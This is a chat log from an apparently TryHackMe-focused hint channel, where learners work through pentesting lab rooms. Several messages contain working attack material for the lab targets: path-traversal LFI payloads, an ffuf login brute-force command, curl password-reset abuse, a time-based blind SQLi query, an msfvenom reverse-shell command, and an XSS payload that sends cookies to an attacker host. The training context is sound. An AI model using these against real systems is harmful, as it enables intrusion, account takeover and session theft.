#room-hints

1 messages ยท Page 100 of 1

white salmon
#

hehe, I am stuck at this too... I tried all escapes and encodings I knew, and it is all filtered, I also start to think that somehow the function needs to be broken, but also... it cannot be THAT complicated taking into consideration level of other tasks :/ I am missing something simple, I bet, uh

radiant rapids
#

Same hereโ€ฆ

snow dove
#

Can anyone lend a hand in the Walking an Application room of the Jr. Pentester path: I cannot find the "directory listing" flag in Task 3. I've found every other flag but can't seem to find what they're talking about for that one. Any hints would be greatly appreciated.

waxen mica
white salmon
#

I did, and it still have filters for null byte ๐Ÿ˜„ I am taking a break from it, I know it is simple, will back to it later with a fresh mind ๐Ÿ˜‰

raven sparrow
#

The new room Linux PrivEsc Task 5. I canโ€™t transfer the exploit to the target permissions denied. Is this normal?

hasty zodiac
raven sparrow
#

Oh ok thanks. Didnโ€™t say that in the instructions.

hasty zodiac
#

Well, that's something you should find out, haha.
Try looking around for writable folders

#

You don't have to look deep

raven sparrow
#

Coffee time ๐Ÿ˜‚

white salmon
#

Hey, Im doing REloaded CTF and I'm struggling to modify the instruction on level 2

#

I've done level 0,1,3

#

But I can't get 2 flag

#

Note; I'm not struggling to export it, I'm struggling to MODIFY it

#

I just can't find the modify button to access it

#

Dm me if you can help me out

wanton pollen
#

Has anyone done the XSS room in the JR penetration path?

night badger
#

Hi, I am working on networkservices and it's asking what port SMB runs on and I have tried 445/tcp and it would not accept the answer. Any clue?

wanton pollen
green minnowBOT
#

Gave +1 Rep to @wanton pollen

dusty gyro
#

Anyone on the jnr pentester new path.?

wanton pollen
#

Yes

#

whats up

dusty gyro
#

Walking an application lab....i need to know what the directory is. It's saying run the directory in your web browser. I must be blind

wanton pollen
#

What question is it?

plucky snow
#

@dusty gyro what task?

dusty gyro
#

Question is. What is the directory listing flag?

#

Task 3

plucky snow
#

have you tried viewing the source file?

wanton pollen
dusty gyro
#

Yes I viewed page source, I just don't understand what directory to check

wanton pollen
idle basalt
#

Ok so I had some help earlier today before I had to go to work but, I had no success with question 3 and 4 on โ€œWalking An Application โ€œ Penn testing.
Question 3. What is the directory listing flag?

Question 4. What is the framework flag?
Iโ€™ve been looking and trying but now I must ask for some hints? Please and thank you.

wanton pollen
plucky snow
#

@wanton pollen +1

dusty gyro
#

@idle basalt same question 3 is like wth

wanton pollen
idle basalt
green minnowBOT
#

Gave +1 Rep to @wanton pollen

dusty gyro
#

@wanton pollen do you guys maybe have a line number?

wanton pollen
plucky snow
#

@dusty gyro are you stuck on task 3? Look at the comments at the top

dusty gyro
#

I have the directories but don't know how to access the flag.txt file.

#

I'm totally blind ๐Ÿ‘€

wanton pollen
idle basalt
dusty gyro
#

@idle basalt same here. Searched every file.

#

It's a path we have to run somehow

idle basalt
plucky snow
#

have you entered http://[ipaddr]/[file_from_comment] ?

dusty gyro
#

Let's run just the assets path

wanton pollen
dusty gyro
#

Hmmmm index of assets!!!!!!

#

Got it!!!!

#

Thanks guys!!!!!!

wanton pollen
plucky snow
#

@dusty gyro not sure if your username is a breaking bad reference or resevior dogs... either way, I like it

dusty gyro
#

@plucky snow the one you think is the coolest.

plucky snow
#

nice... breaking bad it is!

idle basalt
#

i meant why i was having problems

idle basalt
green minnowBOT
#

Gave +1 Rep to @plucky snow

plucky snow
#

@idle basalt rock on!

white salmon
#

how to do the RFI in file inclusion playground challenge?

#

i didnt really understand how to implement the RFI

fading robin
#

then go through the room again first, then be more specific, which part didnt you get? how to create the payloads?

lost swan
#

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://machine_ip/customers/login -fc 200
does the command contain any kind of error ?
because whenever i am trying to bruteforce, i get no results

#

i know machine_ip will be replaced

white salmon
#

the issue i had with that command is, that seclists wasnt in the wordlists folder, so i had to modify the path, other than that, the command looks good

lost swan
#

in the machine

white salmon
#

does your valid username file correctly list the usernames only?

lost swan
#

it also has [some shit]

white salmon
#

then modify the file so that it has only the usernames

#

in my case i got an error, when i used the file with the raw output

#

so i modified the file so that only the usernames remained, line by line, and it worked then

lost swan
#

ok

lost swan
white salmon
#

nice ๐Ÿ™‚

white salmon
#

In Lab #2, what is the directory specified in the include function?

#

I am trying to solve this from past one day...but I didn't get it

#

Can someone help in this

fading robin
#

||look at the cookie, look at the directory. look at the cookie, look at the directory.|| does something strike you?

vivid agate
#

Can i get a hint for exploitingvulrabilityv2

I cant find the CVE or exploit anywhere

#

Nessus doesnt know.....Exploit database has no clue

vocal viper
#

Anyone give me a nudge on why my lfi isn't working on sky net. Its taking my rev php from my http server fine but won't execute to give a shell

#

Have screen shots lol

left thunder
brisk berry
#

jr pentester path sqli room task 8
found the column names but not able to proceed further

#

please help

waxen mica
vocal viper
#

php reverse shell

waxen mica
#

Dm me the command you're using as well as the shell

celest moth
#

Anyone able to DM me for some help with the FileInclusionVM, task 8, flag3

waxen mica
celest moth
#

Methods scan shows the site supports GET, HEAD, POST, and OPTIONS

#

For GET, it is filtering special chars used in the previous tasks. Does not escape with %00 or /.

#

GET also appends a '.php' to the input

#

POST does not respond to anything and appends '.php'

waxen mica
celest moth
#

I've tried again to check using php://input, php://filter and data://text/plain;base64 to escape whatever is being filtered for function include and include_path

#

The base64 still is being filtered and it cannot escape the appending of '.php' for POST or GET.

#

hex encode doesn't work either

#

Used all the same steps with language and doest work either.

#

In all the responses I've captured in Burp, the form action is still set to ".//chall3.php" method=GET

#

I'm noticing if I test manually in the browser, replaying requests and editing them, the response url shows '/challenges////chall3.php...' ; the '/' seems be getting added after each try

#

Is that part of the issue? Should I only be using Burp/Zap?

waxen mica
#

I used curl to do it

celest moth
#

Should I be manipulating the 'referer' header at all for a POST?

#

I've gone through all the same manual tests with referer on GET and POST and it still doesn't seem to work

waxen mica
#

just remember, just cuz you can't visually see data you input being returned disent mean it's not there

modest pagoda
#

curl worked fine for me

trail brook
#

Completely hung at the SSRF / anyone have any hints with the first part?

trail brook
#

Yes lol, I saw some notes you posted and still a bit confused.

left thunder
left thunder
trail brook
green minnowBOT
#

Gave +1 Rep to @left thunder

trail brook
#

Try hack me โ€ฆ the curse of over thinking lol

vale otter
#

So I have a telnet session open and this question asks me what word the generated payload starts with, but when I run the commad nothing happens

#

HOld on

#

might just be the wrong IP

#

still nothing happens

#

Is the word generated supposed to be on the local machine or on this same telnet session?

left thunder
# vale otter

You have to run the msfvenom command on your attackbox terminal and not in the telnet session

vale otter
#

200iq <--- @left thunder Thank you!

green minnowBOT
#

Gave +1 Rep to @left thunder

royal relic
#

hello guys, was there anyone who had issue with Cross-site Scripting getting the last session cookie?

#

I have spent hours of trying yesterday but couldnt recieve the cookie :-((

olive idol
#

Hello I was having trouble using the commands provided in the Authentication Bypass room the brute force section. I cant get the command to work and I've tried several ways and I've also tried using the repository in Github. Please help.

white elm
#

i am stuck maybe just overthinking, cant find answer what framework favicon belong to have md5sum but does not help

royal relic
#

and search for the sum

white elm
#

yes, i found my md5sum

royal relic
#

so you find the framework

#

next to it

white elm
#

hmmm does not fit in the answer

royal relic
#

Are you talking about Task3?

#

6 letters

white elm
#

yes

#

my sum is 3 words

#

ok favicon last word

#

can i dm u dont want to spoil here for everyone

#

๐Ÿ™‚

royal relic
#

direct mess me

#

ANYONE could help me with Blind SQLi - Task8? Stucked at enumerating records... already have table, columns and all the stuff

modest pagoda
#

could you copy/paste what your query looks like so far? (spoilered of course)

honest fossil
#

I'm stuck on Lab3 for the file inclusion I got the file to be displayed but in the wrong format apparently

craggy pulsar
#

Hi, I'm stuck at the File Inclusion room on challenges - capture flag2. Can anybody guide me for this?

cosmic badger
green minnowBOT
#

Gave +1 Rep to @left thunder

sly moth
#

Hi Guys
can any one help me
i am stuck at below point
Now rerunning Curl Request 2 but with your @acmeitsupport.thm in the email field you'll have a ticket created on your account which contains a link to log you in as Robert. Using Robert's account, you can view their support tickets and reveal a flag.

Curl Request 2 (but using your @acmeitsupport.thm account):

user@proud scarab:~$ curl 'http://10.10.204.219/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

Answer the questions below
What is the flag from Robert's support ticket?
when i ran above command nothing is happing
and i am getting same output for all three curl commands as suggsted in task discription
please help

#

room - Authentication Bypass

#

in jr pentration testor room

radiant rapids
lean rover
#

Well, that's awkward.

#

But yes, that is what he forgot to do.

radiant rapids
lean rover
knotty heath
#

Room https://tryhackme.com/room/fileinc, File Inclusion, Task 8, capture flag 3
. and / are filtered so adding ../../../../../etc/passwd results in etcpasswd. Any idea how to bypass this filter. I've already tried ....//....//...// and several encodings The result is always etcpasswd

lean rover
knotty heath
#

yes

lean rover
#

Try sending your request with a different method. :)

knotty heath
#

because of the hint I thought maybe doubling would work.
OK, was scratching my HEAD about that, will try that

lean rover
#

Good luck, and remember if you send a POST request you need to include the parameters in the body and not in the query.

green minnowBOT
#

Gave +1 Rep to @lean rover

celest moth
#

Has anyone worked through the blind xss, task 8 in room xssgi, using netcat? I'm not catching anything in the listener when triggering the stored payload.

#

But the THM request catcher seems to catch only DNS requests. No cookies

#

Ah figured it out. Was not getting the cookie with 'fetch' so I changed it up to using a 'new Image()src=attacker_ip/?cookie= ...'

sly moth
#

Guys

#

can any help me in File Inclusion room

#

challange Capture Flag1 at /etc/flag1

#

The input form is broken! You need to send POST request with file parameter!

#

please help

sly moth
#

done

prime elk
#

Hello everyone, I am in the "Burp Suite: The Basics" room, and I am stuck in a question for hours and I am not finding it. Please help me.
The question is below -->

There is one particularly useful option that allows you to intercept and modify the response to your request. What is this option? Note: The option is in a dropdown sub-menu.

cosmic badger
gilded flare
#

Hello, I'm at windows prives, task 5 dll hijacking. I cannot manage to connect as the other user. I did as it says in the hint You can modify the skeleton code using this snippet: system("cmd.exe /k net user jack Password11");, but when I try to connect it says that the password is wrong. I tested the example with the first dll when it outputs the whoami to a file and its working perfectly.

prime elk
trail wave
#

I need some help with task 2 of SSRF https://tryhackme.com/room/ssrfqi

I have spent hours at this point trying to research and make sense of this, but I cannot get the server to request correctly. I need to request https://server.website.thm/flag?id=9 and the best guess I have is https://website.thm/item/2?server=server.website.thm/flag&x=&id=9. I don't necessarily want the answer spoon-fed but I'd really like to know the logic behind why this doesn't work and how I can be led in the right direction.

left thunder
sly moth
warm flicker
#

I could need a hint for the new file inclusion room, task 8 question 2-3

left thunder
warm flicker
#

now i only need 3 + plaground

left thunder
warm flicker
green minnowBOT
#

Gave +1 Rep to @left thunder

wintry wyvern
waxen mica
wintry wyvern
#

Challenge 3, haven't looked at playground yet

waxen mica
#

What have you tried so far?

wintry wyvern
#

Changing requests I know of (POST, GET, COOKIE) changed cookie, tested out all characters and tried inputting via address bar, input box, curl and the inspector tool

#

I figured out what the filter does and thought encoding would work, but hasn't panned out yet

#

Also tried a bunch of random lines from PayLoadAllTheThings in the File Inclusion/Filters section

waxen mica
#

What happened when you changed it to POST?

wintry wyvern
#

Everything got scrubbed, so a GET request of ../../../etc/flag1 would return etcflag.php, but a POST request of that same thing would return only .php .....

#

Ah ok I'm a bit closer, just have to figure out how to drop the .php off I think

waxen mica
#

Why would a post request drop everything? Is it really dropping everything? What is a POST request? Are you actually asking for any data to be displayed for you?

#

Just some things for you to consider

wintry wyvern
#

Yeah I'm following you, but oddly enough if you change the page source to POST and input your directory traversal payload it doesn't get filtered (but keeps the .php on the end, even with null bytes)

#

My line of thinking could definitely be out in left field though

warm ibex
#

hey

#

does anyone worked on this event

#

jr pentester

wintry wyvern
warm ibex
#

dude i kinda

#

need help about flags

#

dunno how to find

#

xD

waxen mica
tender swan
#

I'm at the same point. Feel like I've tried almost every way to remove the .php. Can I get a direction to work in?

tender swan
#

@wintry wyvern have you found anything?

wintry wyvern
tender swan
#

Only thing odd that I've noticed is that it's posting to .//chall3.php instead of ./chall3.php, but idk if that's of any significance.

#

I've tried changing it

wintry wyvern
#

Yeah I see what you're talking about... It'll be something totally easy, just watch lol

plush pine
polar kelp
#

hello everyone im stuck n the question's in Walking An Application

#

What is the flag from the HTML comment?

#

What is the flag from the secret link?

#

What is the directory listing flag?

#

does anyone have the answer please

potent kite
grand niche
#

Hey
Anyone available for a small nudge for CCT2019 - crypto 1c ?

lyric lava
unkempt jacinth
#

hello, I am doing CC pentesting and I am trying sudo john โ€” format=RAW-MD5 txt but I get the output

#

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)

#

any ideas?

white salmon
#

I struggle with Task 6 here

#

can someone help?

lyric lava
white salmon
#

5, sorry :))

#

morning here

#

I simply can't understand it and I read the room entirely all over again

lyric lava
white salmon
#

yes

#

I can't understand it

#

can I DM you?

lyric lava
#

sure

white elm
plush pine
green minnowBOT
#

Gave +1 Rep to @white elm

white elm
#

Nice

lost swan
#

you are here too ๐Ÿ˜†

tender swan
sly moth
#

Guys please help - room SQLInjection - Jr Pen Tester task - 8 Blind SQLi - Time Based
i successfully find out database name as sqli_four
but not able to find table name
i am running below query
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_scheme = 'sqli_four' and table_name like 'a%';--
i tried a to z

grizzled oxide
#

I need help on the room Authentication Bypass - Task 5 Cookie Tampering - I'm trying to running on the command line curl -H machine_IP Set-Cookie:session=eyJpZCI6MSwiYWRtaW4iOnRydWV9; Max-Age=3600; Path=/ => I have the follow error: curl (3) ended with 's' - and - Max-Age=3600: command not found

modest pagoda
sly moth
#

for database name

waxen mica
#

Not table_scheme

modest pagoda
#

nice catch

waxen mica
#

@steady stratus I feel bad pining ninja a 4th time so I'm pinging you now

stuck fractal
waxen mica
#

Ah ok.

#

I know for next time then

uneven citrus
#

Someone can help in task5 Command Injection Room

stable island
#

Doing zeno. I got the script working once. THought it hung up so I killed it and tried again. Now I am getting connection refused over and over. I havent changed anything. Is this a part of this box?

sly moth
green minnowBOT
#

Gave +1 Rep to @waxen mica

twin stratus
green minnowBOT
#

Gave +1 Rep to @sly moth

prime elk
#

Can anyone help me about a msfvenom error?
I have executed sucessfully a msfvenom code msfvenom -p linux/x64/shell/reverse_tcp -b "\x00" LHOST=10.11.47.25 LPORT=4545 -f elf -o x64shell.elf
And downloaded in the victim machine but when I am executing the x64shell.elf code, I am getting the following error -->
$ chmod +x x64shell.elf $ ./x64shell.elf Segmentation fault (core dumped)

sturdy hearth
prime elk
sturdy hearth
#

Could you please provide the room name, so that I can try to look into it on my side?

prime elk
glass eagle
sturdy hearth
prime elk
sturdy hearth
#

BTW, looks like my subscription is over ๐Ÿฅฒ
I will try your method once I subscribe again soon

glass eagle
#

i didn't use -b (bad chars). you tried with/without?

green minnowBOT
#

Gave +1 Rep to @sturdy hearth

sturdy hearth
#

Aren't you using msfconsole?
Because for staged payloads, msfconsole sends the stage when it receives the connection first

prime elk
#

meterpreter > hashdump [-] The "hashdump" command requires the "priv" extension to be loaded (run: load priv) meterpreter > load priv Loading extension priv... [-] Failed to load extension: i486-linux-musl/priv not found
Can anyone correct me.

#

What I am doing wrong

#

`msf6 post(linux/gather/hashdump) > use post/linux/gather/hashdump
msf6 post(linux/gather/hashdump) > options

Module options (post/linux/gather/hashdump):

Name Current Setting Required Description


SESSION 2 yes The session to run this module on.

msf6 post(linux/gather/hashdump) > sessions

Active sessions

Id Name Type Information Connection


1 shell sparc/bsd 10.11.47.225:4545 -> 10.10.179.193:35442 (10.10.179.193)
2 meterpreter x86/linux murphy @ ip-10-10-179-193.eu-west-1.compute.internal 10.11.47.225:4545 -> 10.10.179.193:35444 (10.10.179.193)

msf6 post(linux/gather/hashdump) > run

[-] Post aborted due to failure: no-access: Shadow file must be readable in order to dump hashes
[*] Post module execution completed`
Also getting the error like this.

sturdy hearth
#

You need to have read access to /etc/shadow

dusty geyser
#

hi all, I have question, about this room https://tryhackme.com/room/oscommandinjection, tried to put several php reverse shell but it always returned as text. (I know because it's using input sanitation so every input words will be not passed except the number).
I also tried to put echo passthru but I guess I broke the website (website became unresponsive).
Do you have any clue about it?

green agate
#

shell isnt important

dusty geyser
green minnowBOT
#

Gave +1 Rep to @green agate

green agate
forest owl
#

how do i base64 encode a list like this:

#

admin:password
admin:
admin:Password1
admin:password1
admin:admin
admin:tomcat
both:tomcat
manager:manager
role1:role1
role1:tomcat
role:changethis
root:Password1
root:changethis
root:password
root:password1
root:r00t
root:root
root:toor
tomcat:tomcat
tomcat:s3cret
tomcat:password1
tomcat:password
tomcat:
tomcat:admin
tomcat:changethis

#

like line by line

forest owl
#

i mean like if use echo '*' | base64

#

then the whole thing gets incoded

ripe hedge
#

Probably need a for loop

forest owl
#

hmm

ripe hedge
#

If you want to encode line by line

dusty gyro
#

Authentication bypass task 5 how do I go about decode and encode of base64 value

left thunder
dusty gyro
#

Great got the answers thankyou ๐Ÿ˜Ž@left thunder

river wing
#

hey, i need help with the room wireshark 101, task 7. How do i use/run the files attatched to the task? because my pc cant open .pcap files.

woven perch
river wing
#

ahhhh, that makes sense. Thanks

river wing
woven perch
#

happy to help

dusty gyro
#

Anyone avaliable?

waxen mica
#

For?

#

Just ask your question. Don't ask to ask

dusty gyro
#

@waxen mica I'm on subdomain enumeration task 6. I ran the first script. I'm looking for a hint on what the new subdomain would be. Can't find it

white salmon
#

@granite sphinx username is nyan

granite sphinx
#

they're both nyan?

white salmon
#

Yes

granite sphinx
#

lol

white salmon
#

left part of the hash is the username

#

right one is the password

#

so yeah nyan:nyan

dusty gyro
#

I ran the script. It just has words

#

@burnt rivet not the answer but a words list

proud scarabBOT
dusty gyro
#

@burnt rivet

#

It's just running wild

#

I mean task 6@burnt rivet

#

Task 6 first script

#

The one you mentioned is for the second script@burnt rivet thanks

green minnowBOT
#

Gave +1 Rep to @burnt rivet

waxen mica
dusty gyro
#

I see, so the first script would just run anyway ๐Ÿ‘thanksss

#

@burnt rivet @waxen mica thanks guys. ๐Ÿ‘ it woooorked=)

green minnowBOT
#

Gave +1 Rep to @burnt rivet

errant steppe
#

Protocols and Servers 2, Task 6, can someone give me the password as it says its gonna take 219 hours for hydra to find the password lmao

#

@burnt rivet wdym for the first user, i thought it used the one i specified id assume

#

hydra -l lazie -t 32 -P /usr/share/wordlists/rockyou.txt imap://10.10.152.***

#

@burnt rivet u right it isn't reaching wtf

mighty estuary
#

hi I'm doing the sensitive data exposure room and I need a hint to something but please don't give me the answer directly

#

I'm at the point where I need to find the password in the source code of the web page and I keep trying to use CTRL-F and type in things like "password" or "text" etc but I never get to the password

#

could someone help?

#

thanks

#

I am looking at source code of Vulnerable website btw

harsh haven
#

Try expanding all the divs in the associated section of the site. I believe this is the same room I couldn't find the info either.

#

Could someone give me a hint on copying an msfvenom payload to a target box? I have an established telnet session, but nothing else to go on.

#

I tried dragging and dropping the payload into the window and that didn't do anything.

mighty estuary
#

I figured it out a few minutes ago

#

nevermind

harsh haven
#

No worries!

echo laurel
#

@quaint beacon can i dm you regarding empline box

lost swan
#

c2Vzc2lvbj04OGE1ZTZhZjVhYWE4YWM0ZDliYTllY2U0NjAxY2NhYg== this is the base64 value
session=88a5e6af5aaa8ac4d9ba9ece4601ccab this is the decoded value
still it's showing incorrect

eternal pagoda
#

hi everyone, I got stuck in File Inclusion room of Jr. Pentester part. Can't solve any challenge questions. Currently on Challenge1 tried all payloads from PayloadAllTheThings but can't get it to work
I'm curious if I should add an extra header
any help is appreciated

left thunder
eternal pagoda
#

Tried running ../../../etc/flag1
../../../etc/flag1%00
%252e%252e%252fetc%252fflag1
%252e%252e%252fetc%252fflag1%00
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/flag1
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/flag1%00
../../../etc/flag1......................................................................................
../../../etc/flag1............................................
../../../etc/flag1/./././././././././././././././././././././././././././././././././././././././././././.
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/flag1
....//....//etc/flag1
..///////..////..//////etc/flag1
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/flag1
all these as a POST

#

Basically tried all the payloads for LFI in PayloadAllTheThings

loud lotus
#

Authentication Bypass : Logic Flaw. I have read it 5+ times and followed the steps. I checked DDG to see if their is any walkthroughs on how to do it. None. No write ups.
What is the flag from Robert's support ticket?
I do the three steps and check the web site link.
I have shut down the attack box each time and started over from the top working through the entire room and find the same answers from top to bottom. I still can't get past Logic Flaw to complete it.

eternal pagoda
loud lotus
# eternal pagoda I have that completed. let me know where do you need help with

Authentication Bypass : Logic Flaw step 4

I put in the three
Curl Request 1:
curl 'http://10.10.252.132/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
Curl Request 2
curl 'http://10.10.252.132/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
Repeat Curl Request 3
curl 'http://10.10.252.132/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

eternal pagoda
orchid charm
loud lotus
eternal pagoda
eternal pagoda
loud lotus
#

I thought when I closed and terminated the room, it blanked everything.

#

All other tasks completed except this one.

eternal pagoda
orchid charm
orchid charm
orchid charm
orchid charm
eternal pagoda
orchid charm
#

oh!

north cloud
#

I'm stuck on flag 2 in the file inclusion challenge. switched the cookie but not getting anywhere further

glass eagle
#

change it again and see what happens

north cloud
glass eagle
#

change it to something unsual, like pumpernickle. check the request and the response. see if it did what you "expected" or different

north cloud
green minnowBOT
#

Gave +1 Rep to @glass eagle

glass eagle
#

its easy to assume it's behavior. but we didn't write the code. test it to understand it.

lavish agate
green minnowBOT
#

Gave +1 Rep to @glass eagle

lavish agate
#

Now challenge 3 I have been banging my head on the keyboard for an hour

glass eagle
#

yeah. its hard to know what to look for. something small, obvious, trying something completely different

#

sometimes i switch between devtools/curl/burp just to get new view on it

lavish agate
# glass eagle what have you tried?

Changing to POST, multiple iterations of ../../etc/flag3 in dev tools. Trying to use different request parameters even though I donโ€™t quite understand how to do that

glass eagle
#

okay. thats the right direction. does something (unexpected) happen between your request and the reponse?

#

try pumpernickle again and check it carefully

#

and getting an error doesn't always indicate failure. could be progress

glass eagle
loud lotus
eternal pagoda
loud lotus
eternal pagoda
vale otter
#

I'm doing the Network Services 2 and I'm having trouble understanding how the syntax for mounting an SMB share works. Here are my tries.

left thunder
loud lotus
#

no. I will try again tonight or tomorrow.

vale otter
left thunder
vale otter
left thunder
vale otter
#

cool thank you โค๏ธ @left thunder

green minnowBOT
#

Gave +1 Rep to @left thunder

lyric lava
#

windows privesc can someone help me i feel dumb asking this. how do you get the powersploit onto the web-based windows machine if i cant use the web browser in the windows machine

woven perch
#

have you transferred things like linpeas to a linux box?

lyric lava
#

no

#

i have done stuff using wget and curl with servers on python

woven perch
#

so you know how you can download it

#

from powershell or cmd

lyric lava
green minnowBOT
#

Gave +1 Rep to @woven perch

woven perch
#

haha no problem. happy to help

atomic locust
#

Anyone having issues with Windows PrivEsc DLL Hijacking - it will not let me start the service

uncut island
#

Has anyone had an issue with submitting the staff-session cookie on Cross-site Scriting?

lavish agate
green minnowBOT
#

Gave +1 Rep to @glass eagle

white salmon
#

Hello! Can someone give me a hint on overpass Task 1 please? Im stuck getting a foothold... I have tried LFI since I get ouput for some files but I can't access any other files than the "publicly known" ones...

digital bay
#

Hey guys, I am stuck in the authentication by pass room of the jr. Penetration tester path where we have to find the username and password .
I know am writing the correct command. When I use the filter -fc 200, I can see that one matching credential is found, but when I use the same command and use ">> filename.txt" to fetch the output on the txt file. There is no output seen there

#

Can anyone give me a hint here as to what am I doing wrong

stray ocean
#

Hey @digital bay im stuck at the same spot. Does your output in the valid_usernames.txt look like mine? "[2Kadmin [Status: 200, Size: 3720, Words: 992, Lines: 77]". I get only errors when using this wordlist

digital bay
#

Yes it's the same

#

But I don't think the issue is in the wordlist, that's fine

left thunder
digital bay
#

How do I get that, I tried outputting it using "-o" switch and using ">>"

#

Are there any other ways ?

left thunder
stray ocean
#

After restarting AttackBox and creating the file on my own it worked. thank you @left thunder

green minnowBOT
#

Gave +1 Rep to @left thunder

polar finch
white salmon
green minnowBOT
#

Gave +1 Rep to @polar finch

polar finch
#

are you still having problems with this? i just did it, the jobs seem to be running fine

white salmon
#

No I got it! Was a stupid mistake...But thank you!

remote raft
#

Hello everyone. I am having a tough time getting through the task 5 of Linux PrivEsc from jr pentester.
I have download the exploit code for the vulnerability to the attackbox. its a .txt file which I have also transferred to the target machine using wget. but How do I run this .txt exploit file?? :/

woven perch
#

Also lookup any commands in the comments you don't know

#

also last hint: it should not be a text file

frank rune
loud lotus
green minnowBOT
#

Gave +1 Rep to @eternal pagoda

loud lotus
eternal pagoda
green minnowBOT
#

Gave +1 Rep to @loud lotus

woven perch
loud lotus
#

Gave +1 Rep to @eternal pagoda

woven perch
#

if none of those give you exactly what you need then google something like "how to check version of linux"

#

I would also suggest taking what you find and putting it in your notes. A good free room to look at would be https://tryhackme.com/room/linprivesc task 3

green minnowBOT
#

Gave +1 Rep to @woven perch

magic rampart
#

hello guys,am stuck at a room(walking an application),i don't know the site they're talking about so i couldn't find the flag there are looking for

vagrant dove
magic rampart
magic rampart
white salmon
#

i'm stuck with metasploit Exploitation

#

i already read again the room

left thunder
left thunder
#

!docs verify

proud scarabBOT
white salmon
#

I'm going to try it using a kali machine, this is what I got earlier. My first guess was that I'll have to use msfdb

left thunder
left thunder
# white salmon yes

So while creating that file with msfvenom, what payload have you specified?

white salmon
#

followed this example

left thunder
left thunder
# white salmon

If you are unsure, you could enter msfvenom -l payloads that will give you a list with all available payloads.

white salmon
left thunder
green minnowBOT
#

Gave +1 Rep to @left thunder

lost swan
#

how to get into the machine

#

any idea ?

waxen mica
#

Rdp

#

Creds are in task 5 I believe

lost swan
#

ok

loud lotus
green minnowBOT
#

Gave +1 Rep to @eternal pagoda

crystal apex
#

Good Morning All!!

I am having an issue in the following room:

https://tryhackme.com/room/fileinc  | Task 4 - Local File Inclusion (LFI).   

I have read through the page several times, but the examples they give in the URL do not in any way match what I am seeing when I am attempting lab 1.

You are prompted to enter a file to include "Example: welcome.php"

This now presents up with the current path:  /var/www/html

I then enter: /var/www/html/../../../../etc/passwd

Which returns a hard to read file preview. I press ctrl+u to view page source and get a clean version there.

rootโŒ0:0:root:/root:/bin/bash
daemonโŒ1:1:daemon:/usr/sbin:/bin/sh
binโŒ2:2:bin:/bin:/bin/sh
sysโŒ3:3:sys:/dev:/bin/sh
syncโŒ4:65534:sync:/bin:/bin/sync
gamesโŒ5:60:games:/usr/games:/bin/sh
manโŒ6:12๐Ÿ‘จ/var/cache/man:/bin/sh
lpโŒ7:7:lp:/var/spool/lpd:/bin/sh
mailโŒ8:8:mail:/var/mail:/bin/sh
newsโŒ9:9:news:/var/spool/news:/bin/sh
uucpโŒ10:10:uucp:/var/spool/uucp:/bin/sh
proxyโŒ13:13:proxy:/bin:/bin/sh
www-dataโŒ33:33:www-data:/var/www:/bin/sh
backupโŒ34:34:backup:/var/backups:/bin/sh
listโŒ38:38:Mailing List Manager:/var/list:/bin/sh
ircโŒ39:39:ircd:/var/run/ircd:/bin/sh
gnatsโŒ41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobodyโŒ65534:65534:nobody:/nonexistent:/bin/sh
libuuidโŒ100:101::/var/lib/libuuid:/bin/sh
mysqlโŒ101:102:MySQL Server,,,:/nonexistent:/bin/false

I performed a nmap scan and found ports 22 and 80 open. So I assumed we would find user name here, but no dice.

Question 1 asks: Give Lab #1 a try to read /etc/passwd. What would the request URI be?

answer format: `/****.*********/***/******`

I have looked online, and all the walkthroughs state there is a user Falcon which is commented out, but as you can see from the results above that is not the case. It seems to be a similar room, but the layout is different If someone can please help me understand this better I would appreciate it!

left thunder
# crystal apex Good Morning All!! I am having an issue in the following room: https://...

I'm not quite sure what you mean with any user ? All you have to do is trying to get the /etc/passwd file displayed, which seems you have successfully done and then enter the URI you have requested in order to get that file displayed. You kind of did it in a bit of a strange way, which might will make your answer not work, but you where at least able to get the file displayed.

crystal apex
#

I can get /etc/passwd to display as you see above.. But to do so I used the current "path' of /var/www/html/../../../../etc/passwd <---- this does not fit the answer profile they are looking for and it says it is incorrect

left thunder
crystal apex
#

Ok, even if I enter ../../../../etc/passwd without the current path.. it returns exactly the same thing. and every example I found online or from the cheatsheet on guthub always uses the full path. I'm not getting an error? Not sure where you got that. I'm getting the contents of the file, which is the goal.. but the format of the answer doesn't make sense to me. If there is another way to form the URL for this request it isn't shown in the material

#

I'm not looking for the answer, I'm looking for what I'm missing or doing wrong. This just isn't clicking

left thunder
crystal apex
lost swan
#

i have logged in using rdp in the machine

#

but, how to do enumeration as the search bar which is seen in windows is not available to open cmd

woven perch
lost swan
#

i am in

#

thanks

lost swan
#

i don't have permission for admin and administrator

#

i have checked jack and user, i didn't find a flag

lost swan
#

jack also has access denied

woven perch
#

booting my vm to take a look

lost swan
#

sure!

#

List users on the target system. One of them resembles a flag.

#

this is the question

woven perch
#

ah. well the task gives a bunch of commands for enumeration. have you tried any of those to list users?

lost swan
#

net users

#

will list the users on that machine

#

which should show up the flag, or else i need to dig further in any of the user

#

which i did for user <-- the only one which i have access too @woven perch

#

wait

#

i booted wrong machine

woven perch
#

Yea, one thing to note is normally if the task goes over some commands or specific task, that is probably what you need to do to get the flags or something adjacent to what the task talked about. At least that is how I have approached tasks. If you start doing other stuff you end up going down some rabbit holes.

lost swan
#

extremely sorry

#

i booted machine of task5 which is similar

woven perch
#

